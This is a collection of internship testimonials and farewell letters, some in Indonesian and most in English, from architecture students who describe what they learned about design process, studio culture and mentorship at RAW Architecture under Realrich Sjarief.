Kenapa Pak Rich? Alasan paling dasar karena Pak Rich, selaku empunya RAW ini merupakan salah satu dari ketiga role model saya selama saya berkuliah di arsitektur UPH yang saya tahu memiliki firma arsitektur. Beliau mengajarkan saya banyak hal dan salah satunya yang paling saya ingat yaitu bahwa “tidak usah takut untuk jadi diri sendiri karena setiap orang punya metodenya masing-masing”, dan kata-kata beliau tersebut selalu menjadi motivasi saya untuk saya lebih percaya diri dalam mendesain karya-karya saya, Dan setelah saya sedikit melihat tentang firma arsitekturnya yaitu RAW Architecture, saya menyukai projek-projek RAW yang menggunakan material asli pada bangunannya. Bagaimana sebuah bamboo dan material lainnya dicoba untuk diolah/dieksplorasi sesuai dengan keaslian tektonikanya masing-masing. Dimana disini juga berfokus pada ketukangan terhadap material aslinya sehingga bisa lebih menghidupakan lagi sebuah keaslian materialnya dan ekosistem (tukang,arsitek,bangunan, client dan lainnya) di sekitarnya.

Dan akhirnya, itulah alasan saya kenapa saya tertarik untuk menjadi bagian dari keluarga RAW Architecture. Menjadi seorang anak kecil yang mau belajar di sebuah keluarga dan kedepannya akan membawa pemaknaan dari pembelajaran dikeluarga tersebut dan membagikannya kepada orang sekitar sehingga bisa berdampak bagi sekitarnya.

Biografi

Joscelind Vallen Kawengian atau yang biasa dipanggil celind / joce, merupakan mahasiswa dari program studi arsitektur Universitas Kristen Petra Surabaya. Celind mempunyai keingintahuan yang tinggi tentang dunia arsitektur, namun ternyata hanya dengan mengikuti alur perkuliahan dari kampus saja sejauh ini belum cukup untuk menjawab rasa keingin tahuannya. Oleh karena itu Celind beberapa kali mengikuti sayembara arsitektur dengan memilih topik/tema sayembara yang diikuti sebisa mungkin berbeda-beda, agar apa yang didapat/dipelajari juga bisa lebih luas. Untuk hasilnya, sebenarnya sedikit yang bergelar juara. Namun prinsip Celind dalam bersayembara adalah ‘nothing to lose’, menang adalah bonus, kalau kalah pun tetap dapat ilmunya. Tentu masih dalam proses perjalanan menjawab rasa ingin tahunya tentang arsitektur, Celind yang sekarang merupakan mahasiswa semester 7 pun memilih untuk mencari jawaban lewat mengikuti program magang di RAW Architecture selama 3 bulan. Celind berharap lewat magang di RAW ini bisa sedikit banyak menjawab rasa keingin tahuan Celind, baik tentang metode desain kak Rich di RAW, tentang bagaimana pemikiran kak Rich tentang arsitektur, tentang cara mendesain secara kontekstual dan tidak mengedepankan ego, bagaimana implementasinya di lapangan, serta apakah sebenarnya yang Celind selama ini pelajari di perkuliahan bisa benar-benar berdampak buat orang lain.

Testimonial 1

Selama kurang lebih 1 minggu mengikuti program magang di RAW, sesederhana duduk, mendengarkan, dan memperhatikan workflow yang ada di ruangan yang sama dengan Kak Rich dan Kakak-kakak dari tim desain lainnya saja sebenarnya saya sudah bisa mendapatkan banyak hal baru dan menarik. Selain mendapatkan hal-hal baru terkait arsitektur seperti dalam pengerjaan 3d modelling maupun dalam penyajiannya, saya juga merasa sangat mendapat banyak hal tentang bagaimana dalam berkehidupan lewat apa yang kak Rich sampaikan dalam sehari-hari ketika membriefing maupun sekedar bercerita. Sejauh ini mengikuti program magang di RAW merupakan hal yang menantang mengingat saya seolah dipaksa untuk mempunyai time management yang baik karena sambil melangsungkan kuliah yang dijalankan secara online serta sudah sesuai bahkan melebihi apa yang saya ekspektasikan sebelum join pada program magang di RAW

Testimonial 2

Kepada orang-orang yang nantinya akan scroll down, membuka, dan menemukan saya pada laman site ini, apapun yang kalian cari entah sesederhana ingin lihat website, tulisan, kurator, maupun hasil karya dari RAW Architecture, saya sebagai anak magang ingin mengatakan bahwa it is indeed the best office in the world. ya, mungkin terdengar tidak valid karena kalimat tersebut keluar dari orang yang baru pertama kali magang. tapi memang itulah yang saya rasakan selama menjalani program magang di RAW Architecture. Disini saya mendapatkan banyak hal bermanfaat baik dari ilmu arsitekturnya, pengalaman di lapangan, hacks software arsitekturnya, sampai ke hal yang sama sekali bukan arsitektur. Dari kebersamaan yang saya rasakan bersama kakak-kakak disini, teman-teman sepermagangan, dan sedikit banyak hacks tentang kehidupan yang sering terlontar dari Kak Rich, yakni bagaimana merayakan hidup dengan memanusiakan manusia. Tidak mudah sejujurnya menjalani program magang yang disambi dengan perkuliahan, namun magang di RAW surprisingly tidak menjadi suatu hal yang seolah menambah beban. Sebaliknya justru dengan magang di RAW -lah yang membuat segalanya terasa lebih mudah. Dikelilingi orang-orang yang sangat terbuka untuk membagi ilmu, membagi insight, yang bisa diajak bertukar pikiran either itu tentang tugas magang maupun tugas kuliah membuat saya lupa bahwa hal yang saya sedang lakukan dan jalani ini seharusnya sulit dan banyak pressurenya. Mungkin akan terdengar klise tapi bisa menjadi bagian dari RAW Architecture adalah hal yang membuat saya tidak lupa untuk bersyukur tiap hari :)

Motivation Letter

Perkenalkan nama saya Joscelind Vallen Kawengian, seorang mahasiswa semester 7 yang berkuliah di program studi arsitektur, Universitas Kristen Petra Surabaya. Pada semester ini sebenarnya tidak ada kewajiban bagi saya maupun mahasiswa arsitektur di universitas untuk melakukan program magang, namun saya ingin memanfaatkan waktu dan kesempatan yang lebih longgar pada semester 7 ini dengan mengisinya lewat mengikuti program magang. Surat motivasi / surat refleksi ini saya tuliskan dalam rangka mengekspresikan rasa ketertarikan dan keingintahuan saya dalam mempelajari lebih lanjut mengenai arsitektur lewat program magang di RAW. Saya memilih RAW sebagai tempat untuk saya bisa belajar lebih dan menambah pengalaman baik dalam bidang arsitektur maupun dalam aspek-aspek kehidupan. Saya melihat RAW (khususnya kak Realrich) merupakan sosok yang suka berbagi ilmu dan saya melihat hal ini sebagai sebuah identitas yang tidak saya lihat di biro/firma arsitektur lain.Berangkat dari sinilah yang meningkatkan rasa ingin tahu saya terhadap Kak Rich maupun RAW terkait bagaimana dalam mengimplementasikan arsitektur yang sudah saya pelajari selama ini di kuliah ke prakteknya, bagaimana pola pikir Kak Rich maupun tim RAW dalam merespon suatu masalah baik dalam konteks arsitektur maupun diluarnya. Saya harap dengan bergabung lewat program magang di RAW saya bisa berpartisipasi dalam ikut mengembangkan tim design yang ada di RAW lewat apa yang selama ini sudah saya pelajari baik di perkuliahan maupun dari apa yang saya dapat di RAW. Sehingga saya tidak hanya ‘menerima’ saja tapi saya juga bisa ‘memberi’.

Time is up. Ding Dong.

To Mr. Realrich Sjarief and RAW Team

My time has come. Time to farewell to everybody I met in RAW Headquarter. Time to farewell with every pieces of memories in almost 3 Months I got in there. Farewell is doesn’t mean to forget about it, but I have to grateful for the Experience, Knowledge, Opportunity, and Time as long as I was there. Let me excerpt some wise words “You can buy anything in this world, but you can’t buy time” This is really Has a deep meaning to me, because for How much amount of money you can spend, how rich you are, Time is Everything that no one wouldn’t change it.

My debut starts in Research and Development Division to create a model of some RAW Project using the Technology called Laser Cut. Sounds normal if using that machine to make a model, but how if you operate the machine, create all of the part by your own hand. In my opinion, it was a really exciting because you got an experience maybe you’ve never got before, how does the machine works, and also from making then model, I got a Scale of Space, Soul of Space, tectonically in Raw Material, The Fineness of Architectural Detail, etc which I didn’t really mind to it before. Patient is really needed to kind of job like this, and it give me a positive effect for my personality, make me do more precisely in every single details. These things stimulate me to be ready involve in next project.

Furthermore, I was able to be a part of one office space project team I spent the most. Some were had a high level of difficulties and complexities by intense discussion among Mr. Realrich Sjarief – Owner, Mr. Realrich Sjarief to us. I saw a never ending process of exploring, developing, adjusting the design until only we create the limit for that. Creating a limit isn’t we’re already satisfied, but we create it because of we think we’re already push the limit for them. From that case, I learnt not to discover something until you can’t handle it as well, it will make you lost in somewhere you don’t understand anymore. From the beginning you have to know when it time to stop and it is useful also to know yourself deeply, why you have to stop for it. Sometimes get back in a moment can be better for yourself, it can recharge your mind, energy, spirit to continue it again rapidly.

Mr. Realrich Sjarief had ever been told us about Trimurti, consist the triple deity of supreme divinity in Hinduism in which the function of creation, maintenance, and destruction. He can correlate them in Architectural way, for instance, in this modern world, our universe got the impact of environmental damage from our ego in order to build prestige development. we didn’t conscious, what we did before affect our society. As an Architect we should be aware because if we greedy over pride, we also can be the destructor for our Natural Environment. What I’ve talking about is pictured in Alpha Omega School by RAW Architecture

In contrary, I’m amazed the RAW slogan “Architecture Mastery in Natural State” firstly, I tried to interpret what the significance is? After in RAW, I think, I might define, RAW wants to create every project with in their pure value of design by empower the craftsmanship. Natural have a million of connotation, but when we know what is the purpose, we can found pattern to answer the natural state itself. If you haven’t found it, do not fell anxiety, calm down your mind by development of sensitivity and acceptance through relaxation of the body, feeling and mind which re-tell by Mr Realrich Sjarief in one day of annual Monday discussion. Many life value were taught to us and give a refreshment for the week and also give us what are the value which we can apply in studio culture.

RAW Architecture build an initiative, interactive, responsible, and good work ethics systems which can be a positive theory for all of the people work in RAW for whatever their division. It has a strong base as an Architectural Studio which pilot to another studio in Indonesia or other countries. OMAH Library as a part of RAW Architecture also influence and Inspiring young generation who learn Architecture, or other related major of knowledge to deepen their thinking by reading a book, making an interactive discussion to be more analytical in their thoughts to aim it can be implement in studio works.

On The Other Hand, I’m Thankful too for the special opportunity to be a part of RAW Architecture, Thus, I got a plenty of Knowledge by an Interactive Studio Learning Process through discussion that happened during my time in there. If I should describe it, RAW is a Unique, Interactive, Creative, Deep and Critical thinking into the Detail and keep in Natural State itself.

To Conclude, the chance to enhance my experience in RAW, I will never forget it, and I really impressed how strong the solidarity between each other to create a nice atmosphere in studio and keep the same as the tagline “Best Office in The World “

Best Regards,

Kristoforus Kevin

I was determined to intern at RAW Architecture after I read about it. The process of application started off quite a few months back and I didn’t know if I would get the opportunity to work with their team. I was inspired by the work and ideologies of the firm and today I can’t believe that I came here and 8 weeks of my internship are already over.

I have had a wonderful experience interning at RAW. I was able to be part of different kinds of projects – residential and institutional. Some were delivered through models and some through technical drawings. The discussions in the studio with Mr. Realrich and fellow designers gave me an insight into how complex the system is- it starts with the design process of brainstorming and bringing out alternative ideas for the project, taking into consideration the site, client preferences till it finalises into a good design. Mr. Realrich says that the design process is the framework to the final product and requires to be stronger, requiring more time, thinking and the attention to detail. Not only that, each project has an underlying story and a philosophy that drives the project. I remember Mr. Realrich telling us about the Alpha Omega school and how it symbolises life and death which is very interesting because buildings impact lives of people and stand long enough to tell a story.

The philosophy classes at RAW introduced me to the ideas of some great philosophers which I did read about later. One cannot truly teach architecture. It is a skill that you develop through observation, experience and inspiration which is exactly what this class meant to me. It opened up ideas and made me think of things that I usually don’t.

Today, as an architecture student I can see that there is so much more the world of architecture has to offer. With so many emerging architects and advancing technology, it is difficult to catch up. It makes me anxious if I can survive in this field. But ‘Anxiety’ is what drives you to work more and more if you use it as your strength. I have always been in that condition since the time I joined architecture but it probably can get the best out of you as long as you are satisfied. Many of such Monday morning pep talks by Mr. Realrich have been energy boosters for all the days I have interned at RAW. He has been a great mentor and I am sure that his expertise will be an influencing factor in the works I will do in the future.

The studio environment and the RAW team has been very motivating and enthusiastic and I have a lot to take back from it. I would like to thank Mr. Realrich and the team for giving me the opportunity to experience this journey. It was a pleasure working with RAW and I wish them all the best for their future endeavours.

Regards,

Rucha Jaykhedkar

My internship is purely based on my own interest and curiosity on how to transfer myself from university to professional world. From whether I have to go straight to pursue my masters, I want to work in small developing firm or corporates to I want to make my own firm kind of plan which are no doubt, several big milestones an architect wanna-be can think about. Lucky me, Mr Realrich and colleagues in this architecture workshop has gave me opportunity and introduced me warm-heartedly to experience eight weeks of office life, studio culture and work ethics. In regards, I would express my appreciation and thank you to Mr Realrich Sjarief, associates and many designers that were willing to work closely with me and thought me both technical and visionaries experience about architecture as profession.

Today, I have come to my last  day of my independent internship program at RAW. In the beginning of the internship, I have plenty of expectation I did took notes on. And let me tell you, it is not the common ones. For instance, involved in some urban scale projects, being able to create powerful detail drawing to be used in a project, having to know how to develop a design on paper into real-life structures on ground and dealing with clients.

Guess what, only 15% of these come to life. That 15 % was being able to touch a small part of the urban scale project – which is fair enough since those are infamous expectation points a 2 months intern could have. As a reflection, many of my expected points need some extra time to be learn throughout. Many others, they just need more experience, more opportunities and more definition of an own architectural language which have always been a true challenge any architect in progress. However, I did involved in many interesting projects with Mr Realrich and team that has taught me unexpectedly beyond my expectations both technically and non technically.

Back to my former curiosity statement, being in a state of progressing as a fresh grad, I’ve always wondering what is it that a normal architect should pursue after they graduate especially in my case – the rushing and extremely anxious human being. Without neglecting my own personality, moral and values, thoughtful lessons I have got in this studio has impact my thinking in an immense way. While the world is often against the believe of architecture and underestimate the sleepless night an architect has devoted on, Mr Realrich never spend a second doubt on his calling in this field. Presumably, there are distinctions I can help to breakdown between my state and Mr Realrich state.

After a while of internships, teaching and learning as well as talks with Mr. Realrich and friends I have learn a couple of new paradigm I think many of interns should be aware of during their transition life. First of all, an idea I got from Mr Realrich perspective is that, every architect in progress would certainly need their first 10 years in their field to explore, to know what they want, to move from many self-interest to another and to grow uncomfortably. It is the only time we could hardly spend on learning and deconstructing our ego as well as not to worry if we haven’t be settle in life.  Secondly,  is how to work professionally, meaning that even if we do small things we do it with our maximum effort with the a certain quality where it is enough to be seen by others and enough to respect our own master piece. Thirdly, is how to overcome a powerful anxiety – by balancing our life. It is important not to fully spend time in front of our workstation but to also have some leisure and tidying up our sanctuary. Last but not least, is not to doubt on our believe and what we have been started as a form of gratefulness to God and the universe. Therefore, it is okay to dream big, universe will open up ways when it is truly a dream that are made for you.

At last, I could not say enough of appreciation and thankfulness for this opportunity. Wishing Mr Realrich,  associates and team a best journey a head. I has been always a pleasure to be part of RAW impactful role in architecture.

Best Regards,

Christine Gunawan

Hate to say, but I know this day will come. The day of my last internship program at RAW. It is crazy and wonderful to look back what I have done for almost eight weeks of my internship period. Starting from an empty glass that does not know how and what architecture world will look like and ends up picturing the world that will be embraced after my college period and lucky me Mr. Realrich and colleagues in this office has gave me opportunity and let me kind-heartedly to experience eight weeks of office life, work ethics and studio culture.

Flashback on my first day as an intern, I must have bunch of list the things that I want to learn about the world of architecture. It is start with designing a building and learning about concepting design, how to transform a form and until I reach how to designing an urban scale. Indeed, what could we expected from two short months and expecting that I could master all of that, right?.  But what the best I got is how the process of being someone who is great at conceptualizing design, the process of being someone who is great at transforming a design, and also someone who is great at things of curiosity.

As everybody said that we can’t eliminate the process from the meaning of successful. Once Mr. Realrich said the process is a phase of self maturation and from that phase we can learn how to be the best side of us.

Honestly, as a student who is still learning and still green in the world of architecture I do still get anxiety about world of architecture in forward. Sometimes it still feel not enough from the intense competition, sometimes I also fell my design is not strong enough to waken somebody or impressed somebody. But seeing Mr. Realrich and colleagues worked on a project made me realize that anxiety never left us. From all of the point, what all we need is how the anxiety can become one of the strengths and encourage us to do as much as possible and become the best version of our self.

Many things that Mr. Realrich and colleagues have done either realized or not have opened my architecture’s eyes in a right way. First of all, is a sincerity and determination. If you are being serious then do it until the end and even though there will be a small problem on way through of it which will make you bigger. Secondly is, how to control anxiety. Even though Mr. Realrich and Le Corbusier itself has anxiety and they success control it and become undoubted person. Thirdly is, a paradigm in seeing the architecture’s world. It is not only the title of job or work but make it to part of your life. Fourthly is, time management. Always try to have enough space to get relax from all the works. Fifthly is, be a professional person. This point I get when I working on the details of the building of a project or even when I was working on the model. Even the details of the detail must be considered and if we do a small thing we do it with a maximum effort. Sixthly is, Sumarah. This is really hit my heart when Mr. Realrich told us once. And indeed, of all of the work that has been done, we must give it up to the supranatural elements that we believe in. And sometime I think that sumarah is the highest stage of a job. When we reach the maximum of our work and let the spells  work on their own.

And still even at last statement of my paper, you guys not know how grateful I am being given this opportunity and feel this journey with all of you. I hope nothing but best for Mr. Realrich and colleagues in forward and always been pleasure to take this trip with RAW Architecture.

Thank you.

Best Regards,

Miftahurrahma Ridwan

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1% to 99% . . .

For the first of all, I would say thank you to RAW team who take me become part of meeting member every monday at RAW for 4 month to discuss many project. I definitely have learned a lot here, thanks to everybody who was so helpful especially to associates who always not only just gave a lesson but fully motivation and designers to, always laughing and full of happiness everyday. This place breathed new perspective on so many things into my thought, not only on architecture but on creativity and management in the sense of design. I was so grateful, and still am, to be a part of RAW even for just a brief moment.

I would especially thank to kak Rich for sharing many knowledge. I’ve never met anyone so genuinely into educating people like him. Kak Rich thought me the point when you want to be a better person you must in good Precision, discipline, good attitude, always think hard and study everywhere you stand. I amazed to kak Rich for his honesty. I amazed because he has a high integrity in doing his job and he thought of everything from the smallest thing to the big thing, all about work of RAW Team from design process to build process and and he thought of all the workers. Besides it, Kak Rich is very concerned about each of his men in work and health. He always told to work at clean table.

Thank you RAW to given me opportunity to learn more about architecture here. I learned about the design process. I studied step by step in the design process. Revision by revision should always be undertaken without any discouragement. I learned to remain calm and focused even experiencing pressure and obstacles. I’m aware this process will make a better design. Andry house and family is one of many project I designed with RAW Team, this house with triangle skylight adoption from Church of Firminy by Le Corbusier, this house is amazing without of the box skylight at roof.

And finally, thank you for all internship friends, and all RAW team, thank you so much RAW Architecture for letting me to be a part of you for 4 months. Thankyou so much for your kind guidance on this valuable times that I would never forget. The best office in the world – R A W.

Best Regards

Nardi Kurniawan
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First I would like to thank full to Mr. Realrich permit I intern at RAW. 4 months time I think is a very short period of time in I draw knowledge in RAW because it all outside suspected i. because many interesting things and unique events in addition to the knowledge that I get.

Why did I choose internship ?, because I taste before completing study learning in campus, I feel that there is something different if i immediately slumps from the know more down or get work experience before completing the lecture. because many factor that convinced me to intern, in Campus itself only teaches even though there are some practice. In fact in the work obtained make the largest experience because many things outside the suspected i obtained. I see the world that work is not easy and not as envisaged. I know how the architect profession, see and experience of learning given by Mr. Rich, he figure that teaches we should be able to survive despite the harsh the flow of life, besides things that make I was impressed with the paper and the building that makes me know how we should be in designing. In addition how do we face the client and how to overcome all its problem field and solutions that I watch itself is not easy. And from there I take the lesson.

Where I draw the science named with castle bamboo where in the castle Bamboo itself there are many people that have a role in the survival of i learned, many older sister funny and exclamation point that guide me in 4 months. I also would like to thank associate, the designer and the employees who participate help me during in RAW. In addition to the knowledge and experience of many interesting things that I feel at bamboo how daily routines that they do make something fun and not make me bored. I will yearn for the atmosphere like this. So also some traditions as I feel included in the pool held if there are members or employees who repeatedly years. And there are many things unique and interesting again, the conclusion of all that I get in the RAW is something that is very valuable because it might not i will get outside there. From that I did not know what the world of work in the field of i until I know how the working world.

Thank you very much I say to associate kak Mifta, Kak Asep, Kak Ali, guiding me and apologize when there is something that is less acceptable for i in RAW and I thank kasi also for older sister designer Regi, Dini, Aga, Memey, Fiona, Nida, Gomes, Tirta, Laras, Icul, Irul, Khafid, Haris, Bangkit, and all the admin that friendly to me. Hopefully my experience in RAW become a stepping stone me to work harder in achieving my dream to become an architect. Always so best office in the World RAW.

Best Regards,

Irfan Hidayat

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My special thanks to Mr. Realrich, Assosiates and Designers for giving me best experience for 16 weeks in studio. 16 weeks is not a short time but it feels very faster with the atmosphere of the studio because too much fun and too far from the word of boring. This studio is not like the general studio in Jakarta, either in terms of long time in the studio or the atmosphere while in the studio. This studio is unique, you can start start at 8 am and will finish when all your targets are reached in that day. But I really impressed with Mr. Realrich’s team because all designers and assosiates very friendly for me, they are also able to melt the atmosphere when the atmosphere is a little hectic and of course they are very respect for each other. That’s what makes the time in the studio does not feel so long, we really enjoy with this atmosphere.

There are so many fun things I did with the team during in studio, from being a radio host with very strange and unique songs, playing music while bored, playing pingpong when coming home early, listen the joke of a friend in the studio and take a break in the next market to just take a rest and make some joke.

With the guidance of Mr. Realrich, associates and designers, WI can learn many things from the length of a designing process. 4 months I spent focusing on one unique project, from which I took a lot of lessons about how the quality of teamwork work can be very helpful to push all the existing targets. In the process of designing Mr. Realrich also always taught for team 1. Big or small the project, everything should be based on existing data and standards. 2. Always detail even the smallest things, because of the small details that will be give a big impact. 3. Never lose your arguments from what you have told and the sources you get, 4. Always want to learn again and again, by reading books and writing, 5. Have a good communication and one thinking with the team. 6. Responsibility on the team of course.

For me, Mr. Realrich is not just a great architect, more than that he is a great inspirator to never give up on my dreams, and help convince me to be brave again to look at the future. Mr. Realrich is also a figure I can say as a “role model”, a leader who cares about the team, very totality to the every details, and always want to push us to get even better in the future.

Therefore, I am very grateful to have a great mentors, a good friends and was once part of the RAW family. Thank you so much for all guidance in this very limited time. I will never forget this experience, I’ll see you on top guys.

Best Regards,
Bobby Juanda

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Jakarta, 12 April 2018.

Dear Mr. Sjarief,
It’s been 2 months since I finished my internship programme at RAW Studio. From my sincere heart, I’m very thankful for you and rest of team to give me such opportunity in experiencing direct practice as professional architect.

Many new knowledge and insights I got during the programme period. I learnt that architectural drawings still had to be updated, even the projects were already done, as necessary for further owner’s civil administrations and auditing process on company works. Routine documentation process on site is also important to maintain the projects quality control and provides back-up project data for emergency causes.

I also learnt about one important thing in architectural practice: Trust. The way to maintaining trust with other co-workers in organizing and developing projects through intensive discussions and reviews. The trust which constantly exchanged between design, finance, and builder divisions in order to keep construction process on site properly executed as plans. The same trust that also came from owners toward project development which I believe it couldn’t be well-executed without their feedback. From these things I can conclude if architecture works, no matter how it looks amazing or innovative, won’t be meaningful if we couldn’t keep trust in every aspects of its process.

While I’m working in here, I was very enjoying the workplace ambience and your teamwork were really helpful and supportive to me. Only the studio office hours could be set more early, since I took a long route to go and back from office to my home at Harmoni, Central Jakarta.

Aside from it all, I’m very grateful to experiencing these things with RAW team. This internship programme has giving me more determination to become a capable architect, not only in technical skill or theoretical thoughts but also on keeping up relationship with project partners.
Thank you for your consideration and kindness to let me join your studio. I’m also apologize if I unconsciously made mistakes while working on your projects. I hope we could meet again and working together as one team in the future. Once again, thank you very much.

Best regards,
Jasson.
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I write this letter based on my experience during internship in RAW. My big thanks to Mr. Realrich Sjarief and RAW team.

2 months – It’s not a long time. But what I got during the 2 months of internship in this office far exceeded all my expectaions. The two months I’ve been through are short-lived, but the experience I get is so much and worth it.

Through the RAW team, I learned about the design process. Apparently what has been learned in the world of college is nothing compared to in the world of work. I studied step by step in the design process. Revision by revision should always be undertaken without any discouragement. I learned to remain calm and focused even experiencing pressure and obstacles. I’m aware that this would shaping me up to be better.

I amazed at Mr.Realrich for his honesty. I amazed because he has a high integrity in doing his job. I amazed when I see he prefer to let go of profit for the sake of working cleanly. Besides, Mr. Realrich is very concerned about each of his men in work and health. He always gives us education through work so that every day we can get better.

I once again salute to each RAW team for their efforts, and I learn a lot from it. During this internship, I realized that the main reason RAW can be as good as it is today is not because there are super great and legendary people inside. I realize RAW can succeed because it contains people who are always trying, people who struggle furiously when they have set a goal in its work. Whether it works or not, wether succeed of fail, I really like people like this. I wish I could be like them, striving hard to achieve my life’s desires and goals.

The apprentice 2 months have passed. But my journey in architecture doesn’t stop here. Thank you for the lessons for 2 months, now I will try hard and give my best to be better.

Thank you RAW for everything.
Sincerely,

Yoseph Duna
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“A Family” – More than a Office

I never thought my first working experience as an intern would be turnrd out so overwhelming. In memory of 14 weeks, my intern life as a part of ‘RAW’ family,is unforgettable.

6 September 2017 was the first day of working experience with the “Dream Team”. I still remember how everyone cordially welcome me & make myself as a part of ‘RAW’ family on the very first day though I was a foreigner for them.

Besides, if I describe about my working experience I would say the ‘RAW’ people helped me a lot to give the best performance out of myself. Starting from hardcore dedication for work to enjoy every bit of it,I learned all of them from ‘RAW’. They always had given the exposure to improve my concept generation, sketches, fenestration study,plan developing,3D,model making on several projects. Besides, if I describe about my working experience I would say the ‘RAW’ people helped me a lot to give the best performance of myself. Starting from hardcore dedication for work to enjoy every bit of it,I learned all of them from ‘RAW’. They always had given the exposure to improve my concept generation, sketches, fenestration study,plan developing,3D,model making on several projects.Within this 3 Months I developed my technical skills a lot. My computer skills just got better in every other day.

Furthermore Mr. Realrich inspired and suggested me to learn a new software  before I have returned to my country. it’s surprising that just in 20days I learned lot about computer and abled to finish two projects drawing using this software. It wouldn’t have been possible for me to learn this in a very short time without the help of all the architects and specially Mr.Erik. I can’t thank enough all the architects to teach all the small techniques and commands. Along with that Site visits from office to few projects also enriched my knowledge about construction details, understanding drawings,site working environment and a lot of things.

On the other hand, the office environment was never like only doing works. It never gave me the chance to get bored. It was always a delightful,fun loving environment not only for me but also for the others intern. Moreover the working environment was very friendly. I have always found the spark of work,fun within it,comfort zone and a supportive vibe while working.

I am very glad that I got a boss like Mr. Realrich who always cherished and inspired my work. In a meeting of one Monday he said, ‘ I don’t treat Trina as an intern, I treat her as a designer of here’. I can’t express how much this words motivated me to the next level. He is a kind of person who never acted like a typical boss rather he chose to be a great advisor. I would say it is the rare virtue and capability of him and his ‘Dream Team’. My words will be less if I start thanking and describing about Septrio,Ali,Miftah,Nida,Icha,Gomes,Regi,Yuli,Tirta,Aga,Bangkit and the other members of ‘RAW’. I am blessed that I met this people who were beside me starting from facing difficulties in works to making me comfortable while feeling homesick.

Last but not least,the learnings,the motivation and the support and love I have taken from ‘RAW’ will always enlighten and cherish my working diary of Indonesia.

This is the ‘ Best Office in the World’ indeed.

Terima Kasih
Rregard,
Sanjida Amir Trina

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So, finally the last day has arrived.

I didn’t ever think that these 4 months would vanish off as if anything!

I’m very delighted, getting an opportunity to work in RAW Architecture as an intern. This is my the very first experience of working, that too outside my country and it has been the “perfect” one!

During my time in RAW, I am gained skills that are not accommodated by institution, but in the real industries, what we understood as an architect student is, completing all the design process and producing such killer visuals. However, the real industries say, completing them, is just the very first process of completion.

Within these months, there are a lot of projects I get to work on, it was mostly residential and the other was commercial uses like an office. I’ve got a lot of help from the designers while working on these projects. There are so many steps I learnt on the projects starting from the sketch, designing plans, facades, developing 3D, detailed drawings, until making presentations and models. Not only designing a building, here I also get to learn about building construction. I got to visit the project site multiple times, discussing things with the structural/MEP engineer, and meeting more detailed problems on the site. Well, these kinds of process always be the most interesting.

I have never ever imagined my habit would change, including my mindset, the working environment is superb, very light, very chill, when there has to be seriousness, there is serious environment, otherwise, it’s amazing.

Those warm welcome as I reached and started working in office, started blending in with people here will always stay in my memories, which though I have a lot of them by now!

Through this platform I want to thank, Mr. Realrich, for letting me in this office and made me feel as one of his own; the associates, Miftah, Ali, Asep, wouldn’t thought of getting such cool mentors ever that too in such an intensive working place; the designers, Ica, Regi, Yuli, Jajo, Tirta, Aga, Nida, Gomez, Fiona, Meme, Damar, Laras, Erick, thank you for teaching me from work area till the basic local necessities, guiding me step by step and making me feel as one of yours. And last but not the least, the interns, Filie, Dody, Aussie, Sigit, Lady, Zabel, Bea, Fahry, Neya, Regina, Linton, Adot, Yuki, Riza, Aris, Trina, Aron, Ivan, for everything, starting from language, to places, for telling ha-ha wrong words (they did come in use btw).

I do owe a lot to all of you and hope to meet at some corner of the world 😊

Terima Kasih

Signing off
Ishani Dayal

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From Nothing To Something

Maybe that phrase describes me during my internship at RAW.
For 2 months I have completed my internship program in RAW It may be a very short 2-month period to have extensive knowledge in the world of architectural work. But here I can learn many things in terms of intimacy, togetherness, in addition to the thing about architecture.
It’s one of the best companies in Indonesia probably also in Indonesia. I am grateful for Principal Architect Mr. Realrich for me can do an internship program at Summer Fellowship Workshop 2017.

RAW is a place where I can learn whose name learns from our flaws not what our strengths are. I understand what is conveyed from our imagination into a design concept. Here also know and learn new things that I can not on my campus, ranging from softskill and our attitude in work.
I also learned that giving from best of good. From creating a floor plan that we have to understand and what goals we make for what. And we must also have sufficient precedent and who draw a concept until the client is willing to accept with the expected satisfaction.

And here I know that from a process that is done creatively and following the rules will produce satisfactory results.
I am also grateful for Associate Designers Kak Mifta, Kak Ali, Kak Asep for me to be able to add experience in RAW useful.
I am also grateful to the Designers, Aga, Tirta, Jajo “who have resigned”, Nida, Ica, Regi,
Gomes, Yuli who taught and guided me during my internship here. They are the “Dream Team” who can do anything, do a funny joke from a radio announcer to an impromptu music player

Finally, I would like to thank all the RAW teams who helped me learn during my internship here.

Keep be a best office in the world.
Thank you RAW !!

Regards,
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This internship was my first work experience, and I am grateful that I’ve got the opportunity to do my internship here. The office has helped me to develop constructive working habit that I could carry on to wherever I will go next, be it in context of professional ethics or design method. The interns were also not treated only as a mere helper to lessen the burden of work. The associates and the designers were very patient in guiding us, and despite lacking the skill to do certain job they still entrusted us to do it so we could learn, although it means extra job for them to teach and sometimes to fix the work. Knowing how some office would consider teaching beginners as bothersome job makes me appreciate it even more. The people at RAW has helped me to make the transition of learning from formal architecture education to the real practice as easy as possible, although I am also a bit wary now as I have unrealistic expectation of how an architecture office should be like.

In addition to learning a lot about architecture, I have learned as much from the people I met during the past 4 months. On one of our weekly monday meeting I remember Kak Rich said that if you got stuck, you should be careful because it could be an indication that you are being autistic and only going around in your own world. As an introvert, I have probably got stuck and going around in my own world for quite some time, and working here was a quite good wake up call to venture into new things that I was not aware of before. Everyone I encountered here has something new and positive to teach, and working together with them for long hours gives you no choice but to pick up some of their contagious passion and enthusiasm.

Finally, thank you for the valuable learning opportunities and for letting me be a part of this unique office during the 4 months of my internship. Keep growing, keep teaching and keep being inspiring
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22 weeks.

22 weeks is not a short time to gain knowledge in RAW. But 22 weeks feels faster when working with dream team (mr.Realrich call them).

20 febuary 2017 I made my internship debut with dream team. Many things I think that apprentices will feel tense and boring. After 2 weeks running I am more familiar with working in RAW and my assumption about internship is gone with time.
Talking about the project , many lessons I get from projects I work with with employees and interns. One of the projects that I will remember is Floating Cafe Grand Kamala lagoon, the hardest thing at that time was the first time I had to interpret the strokes of mr.realrich into 3D computer, thanks to the many floating cafes that take up so much time. Apart from that all this shows that, when apprenticeship in RAW apprentices are given the opportunity to expose as many ideas as possible and RAW is very open to these ideas. Not always working on 2D drawings, apprentices are also given opportunities ranging from following, brown bag, concept design, programming, 3D and 2D exercises, site visit, short lecture with mr.realrich. Almost all the processes that run in RAW I follow and learn. Plus value that obtained by apprentice in RAW is a book library that is complete and also OMAH program. I think raw is the place that has a very high sense of concern with the world of architectural education in Indonesia, very visible how to RAW respond all apprenticeship.

